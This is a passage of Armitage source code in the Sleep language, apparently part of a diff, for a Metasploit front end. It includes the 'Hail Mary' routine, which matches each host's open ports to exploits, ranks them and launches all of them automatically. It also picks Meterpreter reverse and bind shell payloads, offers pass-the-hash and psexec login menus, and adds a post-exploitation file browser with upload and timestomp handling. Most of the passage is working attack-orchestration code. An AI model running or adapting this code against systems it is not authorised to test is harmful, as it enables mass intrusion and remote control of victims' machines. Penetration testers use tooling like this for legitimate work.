else if ($p eq "443") {
|
||||
push(%r["80"], $module);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#
|
||||
# for each host, see if there is an exploit associated with its port and if so, report it...
|
||||
#
|
||||
|
||||
local('$port $modules $host $data $services $exploit');
|
||||
|
||||
foreach $port => $modules (%r) {
|
||||
foreach $host => $data (%hosts) {
|
||||
$services = $data["services"];
|
||||
if ($port in $services) {
|
||||
foreach $exploit ($modules) {
|
||||
push(%results[$host], $exploit);
|
||||
push(%results2[$host], @($exploit, $port));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[$args[2]];
|
||||
}
|
||||
|
||||
sub findAttacks {
|
||||
resolveAttacks($1, $2, {
|
||||
showError("Attack Analysis Complete...\n\nYou will now see an 'Attack' menu attached\nto each host in the Targets window.\n\nHappy hunting!");
|
||||
});
|
||||
}
|
||||
|
||||
sub smarter_autopwn {
|
||||
local('$console');
|
||||
elog("has given up and launched the hail mary!");
|
||||
|
||||
$console = createDisplayTab("Hail Mary", 1, $host => "all", $file => "hailmary");
|
||||
[[$console getWindow] append: "\n\n1) Finding exploits (via local magic)\n\n"];
|
||||
|
||||
resolveAttacks($1, $2, lambda({
|
||||
# now crawl through %results and start hacking each host in turn
|
||||
local('$host $exploits @allowed $ex $os $port $exploit @attacks %dupes $e $p');
|
||||
|
||||
# filter the attacks...
|
||||
foreach $host => $exploits (%results2) {
|
||||
%dupes = %();
|
||||
@allowed = getOS(getHostOS($host));
|
||||
|
||||
foreach $e ($exploits) {
|
||||
($ex, $p) = $e;
|
||||
($os, $port, $exploit) = split('/', $ex);
|
||||
if ($os in @allowed && $ex !in %dupes) {
|
||||
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), $p, %exploits[$ex]));
|
||||
if ($p eq "139") {
|
||||
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), 445, %exploits[$ex]));
|
||||
}
|
||||
%dupes[$ex] = 1;
|
||||
}
|
||||
}
|
||||
[[$console getWindow] append: "\t[ $+ $host $+ ] Found " . size($exploits) . " exploits\n" ];
|
||||
}
|
||||
|
||||
[[$console getWindow] append: "\n2) Sorting Exploits\n"];
|
||||
|
||||
# now sort them, so the best ones are on top...
|
||||
sort({
|
||||
local('$a $b');
|
||||
if ($1[1] !in %exploits) {
|
||||
return 1;
|
||||
}
|
||||
if ($2[1] !in %exploits) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
$a = %exploits[$1[1]];
|
||||
$b = %exploits[$2[1]];
|
||||
|
||||
if ($a['rankScore'] eq $b['rankScore']) {
|
||||
return $b['date'] <=> $a['date'];
|
||||
}
|
||||
|
||||
return $b['rankScore'] <=> $a['rankScore'];
|
||||
}, @attacks);
|
||||
|
||||
[[$console getWindow] append: "\n3) Launching Exploits\n\n"];
|
||||
|
||||
# now execute them...
|
||||
local('$progress');
|
||||
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
|
||||
|
||||
thread(lambda({
|
||||
local('$host $ex $payload $x $rport %wait');
|
||||
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
|
||||
($host, $ex, $payload, $rport) = @attacks[0];
|
||||
|
||||
# let's throttle our exploit/host velocity a little bit.
|
||||
if ((ticks() - %wait[$host]) > 1250) {
|
||||
yield 250;
|
||||
}
|
||||
else {
|
||||
yield 1500;
|
||||
}
|
||||
|
||||
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
|
||||
[$progress setProgress: $x + 0];
|
||||
call_async($client, "module.execute", "exploit", $ex, %(PAYLOAD => $payload, RHOST => $host, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1')));
|
||||
%wait[$host] = ticks();
|
||||
$x++;
|
||||
@attacks = sublist(@attacks, 1);
|
||||
}
|
||||
[$progress close];
|
||||
|
||||
[[$console getWindow] append: "\n\n4) Listing sessions\n\n"];
|
||||
|
||||
[$console addCommand: $null, "sessions -v"];
|
||||
[$console start];
|
||||
[$console stop];
|
||||
}, \@attacks, \$progress, \$console));
|
||||
}, \$console));
|
||||
}
|
||||
|
||||
# choose a payload...
|
||||
# best_client_payload(exploit, target)
|
||||
sub best_client_payload {
|
||||
local('$os');
|
||||
$os = split('/', $1)[0];
|
||||
|
||||
if ($os eq "windows" || "*Windows*" iswm $2) {
|
||||
return "windows/meterpreter/reverse_tcp";
|
||||
}
|
||||
else if ("*Generic*Java*" iswm $2) {
|
||||
return "java/meterpreter/reverse_tcp";
|
||||
}
|
||||
else if ("*Mac*OS*PPC*" iswm $2 || ($os eq "osx" && "*PPC*" iswm $2)) {
|
||||
return "osx/ppc/shell/reverse_tcp";
|
||||
}
|
||||
else if ("*Mac*OS*x86*" iswm $2 || "*Mac*OS*" iswm $2 || "*OS X*" iswm $2 || $os eq "osx") {
|
||||
return "osx/x86/vforkshell/reverse_tcp";
|
||||
}
|
||||
else {
|
||||
return "generic/shell_reverse_tcp";
|
||||
}
|
||||
}
|
||||
|
||||
sub isIPv6 {
|
||||
local('$inet $exception');
|
||||
try {
|
||||
$inet = [java.net.InetAddress getByName: $1];
|
||||
if ($inet isa ^java.net.Inet6Address) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
catch $exception { }
|
||||
return $null;
|
||||
}
|
||||
|
||||
# choose a payload...
|
||||
# best_payload(host, exploit, reverse preference)
|
||||
sub best_payload {
|
||||
local('$compatible $os $win');
|
||||
$compatible = call($client, "module.compatible_payloads", $2)["payloads"];
|
||||
$os = iff($1 in %hosts, %hosts[$1]['os_name']);
|
||||
$win = iff($os eq "Windows" || "windows" isin $2);
|
||||
|
||||
if ($3) {
|
||||
if ($win && "windows/meterpreter/reverse_tcp" in $compatible) {
|
||||
return "windows/meterpreter/reverse_tcp";
|
||||
}
|
||||
else if ($win && "windows/shell/reverse_tcp" in $compatible) {
|
||||
return "windows/shell/reverse_tcp";
|
||||
}
|
||||
else if ("java/meterpreter/reverse_tcp" in $compatible) {
|
||||
return "java/meterpreter/reverse_tcp";
|
||||
}
|
||||
else if ("java/shell/reverse_tcp" in $compatible) {
|
||||
return "java/shell/reverse_tcp";
|
||||
}
|
||||
else if ("java/jsp_shell_reverse_tcp" in $compatible) {
|
||||
return "java/jsp_shell_reverse_tcp";
|
||||
}
|
||||
else if ("php/meterpreter_reverse_tcp" in $compatible) {
|
||||
return "php/meterpreter_reverse_tcp";
|
||||
}
|
||||
else {
|
||||
return "generic/shell_reverse_tcp";
|
||||
}
|
||||
}
|
||||
|
||||
if ($win && "windows/meterpreter/bind_tcp" in $compatible) {
|
||||
if (isIPv6($1)) {
|
||||
return "windows/meterpreter/bind_ipv6_tcp";
|
||||
}
|
||||
else {
|
||||
return "windows/meterpreter/bind_tcp";
|
||||
}
|
||||
}
|
||||
else if ($win && "windows/shell/bind_tcp" in $compatible) {
|
||||
if (isIPv6($1)) {
|
||||
return "windows/shell/bind_ipv6_tcp";
|
||||
}
|
||||
else {
|
||||
return "windows/shell/bind_tcp";
|
||||
}
|
||||
}
|
||||
else if ("java/meterpreter/bind_tcp" in $compatible) {
|
||||
return "java/meterpreter/bind_tcp";
|
||||
}
|
||||
else if ("java/shell/bind_tcp" in $compatible) {
|
||||
return "java/shell/bind_tcp";
|
||||
}
|
||||
else if ("java/jsp_shell_bind_tcp" in $compatible) {
|
||||
return "java/jsp_shell_bind_tcp";
|
||||
}
|
||||
else {
|
||||
return "generic/shell_bind_tcp";
|
||||
}
|
||||
}
|
||||
|
||||
sub addAdvanced {
|
||||
local('$d');
|
||||
$d = [new JCheckBox: " Show advanced options"];
|
||||
[$d addActionListener: lambda({
|
||||
[$model showHidden: [$d isSelected]];
|
||||
[$model fireListeners];
|
||||
}, \$model, \$d)];
|
||||
return $d;
|
||||
}
|
||||
|
||||
#
|
||||
# pop up a dialog to start our attack with... fun fun fun
|
||||
#
|
||||
sub attack_dialog {
|
||||
local('$dialog $north $center $south $center @targets $combobox $label $textarea $scroll $model $key $table $sorter $col $d $b $c $button $x $value');
|
||||
|
||||
$dialog = dialog("Attack " . join(', ', $3), 590, 360);
|
||||
|
||||
$north = [new JPanel];
|
||||
[$north setLayout: [new BorderLayout]];
|
||||
|
||||
$label = [new JLabel: $1["name"]];
|
||||
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
|
||||
|
||||
[$north add: $label, [BorderLayout NORTH]];
|
||||
|
||||
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $1["description"])) trim]];
|
||||
[$textarea setEditable: 0];
|
||||
[$textarea setOpaque: 1];
|
||||
[$textarea setLineWrap: 1];
|
||||
[$textarea setWrapStyleWord: 1];
|
||||
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||
$scroll = [new JScrollPane: $textarea];
|
||||
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||
|
||||
[$north add: $scroll, [BorderLayout CENTER]];
|
||||
|
||||
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
||||
[$model setCellEditable: 1];
|
||||
foreach $key => $value ($2) {
|
||||
if ($key eq "RHOST") {
|
||||
$value["default"] = join(", ", $3);
|
||||
}
|
||||
|
||||
[$model _addEntry: %(Option => $key,
|
||||
Value => $value["default"],
|
||||
Tooltip => $value["desc"],
|
||||
Hide =>
|
||||
iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1')
|
||||
)
|
||||
];
|
||||
}
|
||||
[$model _addEntry: %(Option => "LHOST", Value => $MY_ADDRESS, Tooltip => "Address (for connect backs)", Hide => '0')];
|
||||
[$model _addEntry: %(Option => "LPORT", Value => randomPort(), Tooltip => "Bind meterpreter to this port", Hide => '0')];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$table setRowSorter: $sorter];
|
||||
addFileListener($table, $model);
|
||||
|
||||
local('$TABLE_RENDERER');
|
||||
$TABLE_RENDERER = tableRenderer($table, $model);
|
||||
|
||||
foreach $col (@("Option", "Value")) {
|
||||
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
|
||||
}
|
||||
|
||||
$center = [new JScrollPane: $table];
|
||||
|
||||
$south = [new JPanel];
|
||||
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
||||
#[$south setLayout: [new GridLayout: 4, 1]];
|
||||
|
||||
$d = addAdvanced(\$model);
|
||||
|
||||
$combobox = targetsCombobox($1);
|
||||
|
||||
$b = [new JCheckBox: " Use a reverse connection"];
|
||||
|
||||
if ($4 in @always_reverse) {
|
||||
[$b setSelected: 1];
|
||||
}
|
||||
|
||||
$c = [new JPanel];
|
||||
[$c setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||
|
||||
$button = [new JButton: "Launch"];
|
||||
[$button addActionListener: lambda({
|
||||
local('$options $host $x');
|
||||
syncTable($table);
|
||||
|
||||
$options = %();
|
||||
|
||||
for ($x = 0; $x < [$model getRowCount]; $x++) {
|
||||
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
|
||||
}
|
||||
|
||||
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
||||
|
||||
thread(lambda({
|
||||
local('$host $hosts');
|
||||
$hosts = split(', ', $options["RHOST"]);
|
||||
|
||||
foreach $host ($hosts) {
|
||||
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
|
||||
$options["RHOST"] = $host;
|
||||
if ([$b isSelected]) {
|
||||
$options["LPORT"] = randomPort();
|
||||
}
|
||||
|
||||
if (size($hosts) >= 4) {
|
||||
call_async($client, "module.execute", "exploit", $exploit, $options);
|
||||
}
|
||||
else {
|
||||
module_execute("exploit", $exploit, copy($options));
|
||||
}
|
||||
yield 100;
|
||||
}
|
||||
|
||||
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
||||
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
||||
}
|
||||
}, $options => copy($options), \$exploit, \$b));
|
||||
|
||||
if (!isShift($1)) {
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
|
||||
elog("exploit $exploit @ " . $options["RHOST"]);
|
||||
}, $exploit => $4, \$model, \$combobox, \$dialog, \$b, \$table)];
|
||||
|
||||
[$c add: $button];
|
||||
|
||||
[$south add: left([new JLabel: "Targets: "], $combobox)];
|
||||
[$south add: left($b)];
|
||||
[$south add: left($d)];
|
||||
[$south add: $c];
|
||||
|
||||
#[$dialog add: $north, [BorderLayout NORTH]];
|
||||
local('$s');
|
||||
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
|
||||
[$center setPreferredSize: [new Dimension: 0, 0]];
|
||||
[$north setPreferredSize: [new Dimension: 480, 76]];
|
||||
[$s resetToPreferredSizes];
|
||||
[$s setOneTouchExpandable: 1];
|
||||
|
||||
[$dialog add: $s, [BorderLayout CENTER]];
|
||||
[$dialog add: $south, [BorderLayout SOUTH]];
|
||||
|
||||
[$button requestFocus];
|
||||
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
sub min_rank {
|
||||
return [$preferences getProperty: "armitage.required_exploit_rank.string", "great"];
|
||||
}
|
||||
|
||||
sub host_attack_items {
|
||||
local('%m');
|
||||
|
||||
# we're going to take the OS of the first host...
|
||||
%m = exploit_menus(%hosts[$2[0]]['os_name'], %results[$2[0]]);
|
||||
|
||||
if (size(%m) > 0) {
|
||||
local('$a $service $exploits $e $name $exploit');
|
||||
|
||||
$a = menu($1, "Attack", 'A');
|
||||
|
||||
foreach $service => $exploits (%m) {
|
||||
$e = menu($a, $service, $null);
|
||||
foreach $name => $exploit ($exploits) {
|
||||
item($e, $name, $null, lambda({
|
||||
thread(lambda({
|
||||
local('$a $b');
|
||||
$a = call($mclient, "module.info", "exploit", $exploit);
|
||||
$b = call($mclient, "module.options", "exploit", $exploit);
|
||||
attack_dialog($a, $b, $hosts, $exploit);
|
||||
}, \$exploit, \$hosts));
|
||||
}, \$exploit, $hosts => $2));
|
||||
}
|
||||
|
||||
if ($service eq "smb") {
|
||||
item($e, "pass the hash...", 'p', lambda(&pass_the_hash, $hosts => $2));
|
||||
}
|
||||
|
||||
if (size($exploits) > 0) {
|
||||
separator($e);
|
||||
item($e, "check exploits...", 'c', lambda({
|
||||
local('$result $h $console');
|
||||
$console = createDisplayTab("Check Exploits", 1);
|
||||
|
||||
$h = $hosts[0];
|
||||
foreach $result (values($exploits)) {
|
||||
[$console addCommand: $null, "ECHO \n\n===== Checking $result =====\n\n"];
|
||||
[$console addCommand: $null, "use $result"];
|
||||
[$console addCommand: $null, "set RHOST $h"];
|
||||
[$console addCommand: $null, "check"];
|
||||
}
|
||||
|
||||
[$console start];
|
||||
[$console stop];
|
||||
}, $hosts => $2, \$exploits));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
local('$service $name @options $a $port $foo');
|
||||
|
||||
foreach $port => $service (%hosts[$2[0]]['services']) {
|
||||
$name = $service['name'];
|
||||
if ($name eq "smb" && "*Windows*" iswm getHostOS($2[0])) {
|
||||
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
|
||||
}
|
||||
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
|
||||
push(@options, @($name, lambda(&show_login_dialog, \$service, $hosts => $2)));
|
||||
}
|
||||
else if ($name eq "microsoft-ds") {
|
||||
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
|
||||
}
|
||||
}
|
||||
|
||||
if (size(@options) > 0) {
|
||||
$a = menu($1, 'Login', 'L');
|
||||
foreach $service (@options) {
|
||||
($name, $foo) = $service;
|
||||
item($a, $name, $null, $foo);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub addFileListener {
|
||||
local('$table $model $actions');
|
||||
($table, $model, $actions) = @_;
|
||||
|
||||
if ($actions is $null) {
|
||||
$actions = %();
|
||||
}
|
||||
|
||||
# set up an action to pop up a file chooser for different file type values.
|
||||
$actions["*FILE*"] = {
|
||||
local('$title $temp');
|
||||
$title = "Select $1";
|
||||
$temp = iff($2 eq "",
|
||||
chooseFile(\$title, $dir => $DATA_DIRECTORY),
|
||||
chooseFile(\$title, $sel => $2)
|
||||
);
|
||||
if ($temp !is $null) {
|
||||
[$4: strrep($temp, "\\", "\\\\")];
|
||||
}
|
||||
};
|
||||
$actions["NAMELIST"] = $actions["*FILE*"];
|
||||
$actions["DICTIONARY"] = $actions["*FILE*"];
|
||||
$actions["Template"] = $actions["*FILE*"];
|
||||
$actions["SigningCert"] = $actions["*FILE*"];
|
||||
$actions["SigningKey"] = $actions["*FILE*"];
|
||||
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||
|
||||
# set up an action to pop up a file chooser for different file type values.
|
||||
$actions["RHOST"] = {
|
||||
local('$title $temp');
|
||||
$title = "Select $1";
|
||||
$temp = chooseFile(\$title, $dir => ".", $always => "1");
|
||||
if ($temp !is $null) {
|
||||
local('$handle');
|
||||
$handle = openf($temp);
|
||||
@addresses = readAll($handle);
|
||||
closef($handle);
|
||||
|
||||
[$4: join(", ", @addresses)];
|
||||
}
|
||||
};
|
||||
|
||||
$actions["RHOSTS"] = $actions["RHOST"];
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
||||
local('$type $row $action $change $value');
|
||||
|
||||
$value = [$model getSelectedValueFromColumn: $table, "Value"];
|
||||
$type = [$model getSelectedValueFromColumn: $table, "Option"];
|
||||
$row = [$model getSelectedRow: $table];
|
||||
|
||||
foreach $action => $change ($actions) {
|
||||
if ($action iswm $type) {
|
||||
[$change: $type, $value, $row, lambda({;
|
||||
[$model setValueAtRow: $row, "Value", "$1"];
|
||||
[$model fireListeners];
|
||||
}, \$model, \$row)];
|
||||
}
|
||||
}
|
||||
}
|
||||
}, \$model, \$table, \$actions));
|
||||
}
|
||||
|
||||
sub rankScore {
|
||||
return %(normal => 1, good => 2, great => 3, excellent => 4)[$1];
|
||||
}
|
||||
@@ -0,0 +1,423 @@
|
||||
#
|
||||
# File Browser (for Meterpreter)
|
||||
#
|
||||
|
||||
import table.*;
|
||||
import tree.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
import javax.swing.filechooser.*;
|
||||
import javax.swing.text.*;
|
||||
|
||||
import java.io.*;
|
||||
import ui.*;
|
||||
|
||||
global('%files %paths %attribs');
|
||||
%files = ohash();
|
||||
%paths = ohash();
|
||||
%attribs = ohasha();
|
||||
setMissPolicy(%paths, { return [new PlainDocument]; });
|
||||
setMissPolicy(%files, { return [new GenericTableModel: @("D", "Name", "Size", "Modified", "Mode"), "Name", 128]; });
|
||||
|
||||
sub parseListing {
|
||||
local('$model');
|
||||
$model = %files[$1];
|
||||
|
||||
if ($0 eq "begin") {
|
||||
[$model clear: 128];
|
||||
}
|
||||
else if ($0 eq "end") {
|
||||
[$model fireListeners];
|
||||
}
|
||||
else if ($0 eq "update") {
|
||||
if ("*Operation failed*" iswm $2) {
|
||||
showError("$2 $+ \n\nMaybe you don't have permission to access \nthis folder? Press the Refresh button.");
|
||||
}
|
||||
else if ($2 ismatch 'Listing: (.*?)' || $2 ismatch 'No entries exist in (.*?)') {
|
||||
local('$path');
|
||||
($path) = matched();
|
||||
[%paths[$1] remove: 0, [%paths[$1] getLength]];
|
||||
[%paths[$1] insertString: 0, $path, $null];
|
||||
}
|
||||
else {
|
||||
local('$mode $size $type $last $name');
|
||||
($mode, $size, $type, $last, $name) = split('\s{2,}', $2);
|
||||
|
||||
if ($size ismatch '\d+' && $name ne "." && $name ne "..") {
|
||||
[$model addEntry: %(Name => $name, D => $type, Size => iff($type eq "dir", "", $size), Modified => $last, Mode => $mode)];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
%handlers["ls"] = &parseListing;
|
||||
|
||||
# setupSizeRenderer($table, "columnname")
|
||||
sub setupSizeRenderer {
|
||||
[[$1 getColumn: $2] setCellRenderer: [ATable getSizeTableRenderer]];
|
||||
}
|
||||
|
||||
sub listDrives {
|
||||
local('$queue');
|
||||
$queue = [new armitage.ConsoleQueue: $client];
|
||||
[$model clear: 128];
|
||||
[$queue addCommand: $null, "use post/windows/gather/forensics/enum_drives"];
|
||||
[$queue addCommand: $null, "set SESSION $1"];
|
||||
[$queue addCommand: "x", "run"];
|
||||
[$queue addListener: lambda({
|
||||
local('@entries $entry $d $s $f');
|
||||
@entries = parseTextTable($3, @('Device Name.', 'Type.', 'Size .bytes..'));
|
||||
foreach $entry (@entries) {
|
||||
$d = $entry['Device Name.'];
|
||||
if ($d ismatch '....([A-Z]\\:)') {
|
||||
[$model addEntry: %(Name => matched()[0], D => "dir", Size => "", Modified => "", Mode => "")];
|
||||
$f = 1;
|
||||
}
|
||||
}
|
||||
|
||||
[$refresh setEnabled: 1];
|
||||
[$model fireListeners];
|
||||
[$queue stop];
|
||||
}, \$queue, \$model, \$refresh)];
|
||||
[$refresh setEnabled: 0];
|
||||
[$queue start];
|
||||
}
|
||||
|
||||
sub createFileBrowser {
|
||||
local('$table $tree $model $panel $split $scroll1 $sorter $up $text $fsv $chooser $upload $mkdir $refresh $top $setcwd $drives');
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$model = %files[$1];
|
||||
$table = [new ATable: $model];
|
||||
[$table setShowGrid: 0];
|
||||
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
# file size column
|
||||
[$sorter setComparator: 2, {
|
||||
return long($1) <=> long($2);
|
||||
}];
|
||||
|
||||
# last modified column
|
||||
[$sorter setComparator: 3, {
|
||||
return convertDate($1) <=> convertDate($2);
|
||||
}];
|
||||
|
||||
[[$table getColumn: "D"] setMaxWidth: 38];
|
||||
|
||||
[[$table getColumn: "D"] setCellRenderer: [ATable getFileTypeTableRenderer]];
|
||||
|
||||
# make sure subsequent columns do not have an icon associated with them...
|
||||
[[$table getColumn: "Name"] setCellRenderer: [ATable getSimpleTableRenderer]];
|
||||
|
||||
setupSizeRenderer($table, "Size");
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$text = [new ATextField: %paths[$1], "", 80];
|
||||
[$text addActionListener: lambda({
|
||||
local('$dir');
|
||||
$dir = [[$1 getSource] getText];
|
||||
[$model clear: 128];
|
||||
[$model fireListeners];
|
||||
m_cmd($sid, "cd ' $+ $dir $+ '");
|
||||
m_cmd($sid, "ls");
|
||||
[[$1 getSource] setText: ""];
|
||||
}, $sid => $1, \$model)];
|
||||
|
||||
# this function should be called before every browser action to keep things in sync.
|
||||
$setcwd = lambda({
|
||||
m_cmd($sid, "cd '" . [$text getText] . "'");
|
||||
}, \$text, $sid => $1, $platform => $2);
|
||||
|
||||
addMouseListener($table, lambda({
|
||||
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
||||
local('$model $sel');
|
||||
$model = %files[$sid];
|
||||
$sel = [$model getSelectedValue: $table];
|
||||
|
||||
[$model clear: 128];
|
||||
[$model fireListeners];
|
||||
|
||||
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin $sel && "'" !isin [$text getText]) {
|
||||
if ([$text getText] eq "List Drives") {
|
||||
m_cmd($sid, "cd ' $+ $sel $+ '");
|
||||
}
|
||||
else {
|
||||
m_cmd($sid, "cd '" . [$text getText] . "\\ $+ $sel $+ '");
|
||||
}
|
||||
}
|
||||
else {
|
||||
[$setcwd];
|
||||
m_cmd($sid, "cd \" $+ $sel $+ \"");
|
||||
}
|
||||
|
||||
m_cmd($sid, "ls");
|
||||
[$1 consume];
|
||||
}
|
||||
else if ([$1 isPopupTrigger]) {
|
||||
local('$popup $model');
|
||||
$popup = [new JPopupMenu];
|
||||
$model = %files[$sid];
|
||||
buildFileBrowserMenu($popup, [$model getSelectedValues: $table], convertAll([$model getRows]), \$sid, \$setcwd, \$text);
|
||||
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||
[$1 consume];
|
||||
}
|
||||
}, $sid => $1, \$table, \$setcwd, \$text));
|
||||
|
||||
$fsv = [FileSystemView getFileSystemView];
|
||||
$chooser = [$fsv getSystemIcon: [$fsv getDefaultDirectory]];
|
||||
|
||||
$up = [new JButton: $chooser];
|
||||
#[$up setPressedIcon:
|
||||
# [new ImageIcon: iconToImage($chooser, 2, 2)]
|
||||
#];
|
||||
#[$up setBorder: [BorderFactory createEmptyBorder: 2, 2, 2, 8]];
|
||||
#[$up setOpaque: 0];
|
||||
#[$up setContentAreaFilled: 0];
|
||||
[$up setToolTipText: "Go up one directory"];
|
||||
|
||||
[$up addActionListener: lambda({
|
||||
this('$last');
|
||||
if ((ticks() - $last) < 500) {
|
||||
warn("Dropping cd .. -- too fast");
|
||||
$last = ticks();
|
||||
return;
|
||||
}
|
||||
$last = ticks();
|
||||
|
||||
[$model clear: 128];
|
||||
[$model fireListeners];
|
||||
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin [$text getText]) {
|
||||
m_cmd($sid, "cd '" . [$text getText] . "\\..'");
|
||||
}
|
||||
else {
|
||||
[$setcwd];
|
||||
m_cmd($sid, "cd ..");
|
||||
}
|
||||
m_cmd($sid, "ls");
|
||||
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
|
||||
|
||||
# setup the whatever it's called...
|
||||
|
||||
$upload = [new JButton: "Upload..."];
|
||||
[$upload addActionListener: lambda({
|
||||
local('$file $name');
|
||||
$file = chooseFile($always => iff($client !is $mclient));
|
||||
$name = getFileName($file);
|
||||
if ($file !is $null) {
|
||||
[$setcwd];
|
||||
if ($client !is $mclient) {
|
||||
# some crazy gymnastics here due to how Sleep handles thread-safety...
|
||||
local('$closure $thread');
|
||||
$closure = lambda({
|
||||
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
|
||||
}, \$sid, \$name, \$file);
|
||||
$thread = [new armitage.ArmitageThread: $closure];
|
||||
|
||||
fork({
|
||||
$file = uploadBigFile($file);
|
||||
$closure['$file'] = $file;
|
||||
[$thread start];
|
||||
}, \$file, \$thread, \$closure, \$mclient);
|
||||
}
|
||||
else {
|
||||
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
|
||||
}
|
||||
}
|
||||
# refresh?!?
|
||||
}, $sid => $1, \$setcwd)];
|
||||
|
||||
$mkdir = [new JButton: "Make Directory"];
|
||||
[$mkdir addActionListener: lambda({
|
||||
local('$name');
|
||||
$name = ask("Directory name:");
|
||||
if ($name !is $null) {
|
||||
[$setcwd];
|
||||
m_cmd($sid, "mkdir \" $+ $name $+ \"");
|
||||
m_cmd($sid, "ls");
|
||||
}
|
||||
# refresh?
|
||||
}, $sid => $1, \$setcwd)];
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
if ([$text getText] eq "List Drives") {
|
||||
listDrives($sid, \$model, \$refresh);
|
||||
}
|
||||
else {
|
||||
[$setcwd];
|
||||
m_cmd($sid, "ls");
|
||||
}
|
||||
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
|
||||
|
||||
$drives = [new JButton: "List Drives"];
|
||||
[$drives addActionListener: lambda({
|
||||
listDrives($sid, \$model, \$refresh);
|
||||
[$text setText: "List Drives"];
|
||||
}, \$refresh, \$model, \$text, $sid => $1)];
|
||||
|
||||
# do the overall layout...
|
||||
|
||||
$top = [new JPanel];
|
||||
[$top setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||
[$top setLayout: [new BorderLayout]];
|
||||
[$top add: $text, [BorderLayout CENTER]];
|
||||
[$top add: pad($up, 0, 0, 0, 4), [BorderLayout WEST]];
|
||||
|
||||
[$panel add: $top, [BorderLayout NORTH]];
|
||||
|
||||
if ("*win*" iswm lc(sessionPlatform($1))) {
|
||||
[$panel add: center($upload, $mkdir, $drives, $refresh), [BorderLayout SOUTH]];
|
||||
}
|
||||
else {
|
||||
[$panel add: center($upload, $mkdir, $refresh), [BorderLayout SOUTH]];
|
||||
}
|
||||
|
||||
[$frame addTab: "Files $1", $panel, $null, "Files " . sessionToHost($1)];
|
||||
|
||||
m_cmd($1, "ls");
|
||||
}
|
||||
|
||||
sub convertDate {
|
||||
if ($1 ismatch '\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d .*') {
|
||||
return parseDate('yyyy-MM-dd HH:mm:ss Z', $1);
|
||||
}
|
||||
else {
|
||||
return parseDate("EEE MMM dd HH:mm:ss Z yyyy", $1);
|
||||
}
|
||||
}
|
||||
|
||||
# automagically store timestomp attributes...
|
||||
%handlers["timestomp"] = {
|
||||
if ($0 eq "update" && $2 ismatch '([MACE].*?)\s*: (.*)') {
|
||||
local('$type $value $d');
|
||||
($type, $value) = matched();
|
||||
%attribs[["$type" trim]] = formatDate(convertDate($value), 'MM/dd/yyyy HH:mm:ss');
|
||||
}
|
||||
};
|
||||
|
||||
sub buildFileBrowserMenu {
|
||||
# ($popup, [$model getSelectedValue: $table], @rows);
|
||||
|
||||
# turn @rows into %(file => type)
|
||||
local('%types');
|
||||
map(lambda({ %types[$1["Name"]] = $1["D"]; }, \%types), $3);
|
||||
|
||||
# need to pass current working directory, selected file, and type
|
||||
